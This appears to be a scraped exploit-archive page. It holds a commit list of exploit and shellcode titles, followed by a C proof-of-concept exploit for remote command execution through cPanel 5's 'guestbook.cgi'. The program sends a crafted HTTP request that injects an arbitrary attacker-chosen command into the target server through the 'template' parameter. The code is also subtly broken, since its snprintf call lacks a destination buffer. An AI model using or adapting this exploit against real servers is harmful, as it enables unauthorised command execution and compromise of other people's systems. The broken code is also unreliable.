880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
70 lines
No EOL
2.1 KiB
C
70 lines
No EOL
2.1 KiB
C
// source: https://www.securityfocus.com/bid/6882/info
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A remote command execution vulnerability has been discovered in the cPanel CGI Application. This issue occurs due to insufficient sanitization of externally supplied data to the 'guestbook.cgi' script.
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An attacker may exploit this vulnerability to execute commands in the security context of the web server hosting the affected script.
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This vulnerability has been reported to affect cPanel version 5, previous versions may also be affected.
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/*
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* DSR-cpanel.c by bob@dtors.net
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* Vulnerbility found by Polkeyzz
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*
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* This is a Proof of Concept exploit for
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* the cpanel 5 and below. Problem is a open()
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* in guestbook.cgi.
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*
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* User may view any file or execute commands.
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* There also exists a local vulnerbility to
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* escalate privileges to root.
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*
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* PoC by bob of dtors.net >>DSR-apache rewrite<<
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*/
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#include <stdio.h>
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#include <unistd.h>
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#include <string.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <netdb.h>
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int main(int argc, char *argv[]) {
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int sock;
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char exp[75];
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struct in_addr addr;
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struct sockaddr_in sin;
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struct hostent *bob;
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fprintf(stdout, "\n\tDSR-cpanel.c By bob.\n");
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fprintf(stdout, "Proof Of Concept Code for cpanel 5.0 <\n");
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fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");
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if(argc<3)
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{
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fprintf(stderr, "\nUsage : %s <host> <command>\n\n", argv[0]);
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exit(1);
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}
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if ((bob=gethostbyname(argv[1])) == NULL)
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{
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fprintf(stderr, "Socket Error!\n\n");
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exit(1);
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}
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sock=socket(AF_INET, SOCK_STREAM, 0);
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bcopy(bob->h_addr, (char *)&sin.sin_addr, bob->h_length);
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sin.sin_family=AF_INET;
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sin.sin_port=htons(80);
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fprintf(stdout, "Connecting...\n");
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if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
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{
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fprintf(stderr, "...Problem Connecting, Exited.\n");
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exit(1);
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}
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else {
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snprintf(sizeof(exp)-1, "GET
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/cgi-sys/guestbook.cgi/user=cpanel&template=%s HTTP/1.1\r\nHost:
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%s\r\n\r\n" ,argv[2], argv[1]);
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write(sock,exp,strlen(exp));
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fprintf(stdout, "Command sent/executed!\n\n");
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close(sock);
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exit (0);
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}
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} |